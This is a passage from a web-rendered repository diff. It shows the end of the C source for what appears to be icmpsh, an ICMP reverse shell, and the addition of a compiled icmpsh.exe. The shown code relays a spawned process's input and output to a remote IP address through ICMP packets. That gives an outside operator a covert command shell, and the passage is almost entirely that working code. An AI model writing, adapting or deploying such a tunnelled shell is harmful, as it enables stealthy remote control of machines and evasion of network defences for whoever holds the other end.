					out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
 | 
			
		||||
				}
 | 
			
		||||
				break;
 | 
			
		||||
		}
 | 
			
		||||
 | 
			
		||||
		// send request/receive response
 | 
			
		||||
		if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size,  max_data_size, timeout) == TRANSFER_SUCCESS) {
 | 
			
		||||
			if (status == STATUS_OK) {
 | 
			
		||||
				// write data from response back into pipe
 | 
			
		||||
				WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
 | 
			
		||||
			}
 | 
			
		||||
			blanks = 0;
 | 
			
		||||
		} else {
 | 
			
		||||
			// no reply received or error occured
 | 
			
		||||
			blanks++;
 | 
			
		||||
		}
 | 
			
		||||
 | 
			
		||||
		// wait between requests
 | 
			
		||||
		Sleep(delay);
 | 
			
		||||
 | 
			
		||||
	} while (status == STATUS_OK && blanks < max_blanks);
 | 
			
		||||
 | 
			
		||||
	if (status == STATUS_OK) {
 | 
			
		||||
		TerminateProcess(pi.hProcess, 0);
 | 
			
		||||
	}
 | 
			
		||||
 | 
			
		||||
    return 0;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
							
								
								
									
										
											BIN
										
									
								
								extra/icmpsh/icmpsh.exe
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										
											BIN
										
									
								
								extra/icmpsh/icmpsh.exe
									
									
									
									
									
										Executable file
									
								
							
										
											Binary file not shown.
										
									
								
							
		Loading…
	
		Reference in New Issue
	
	Block a user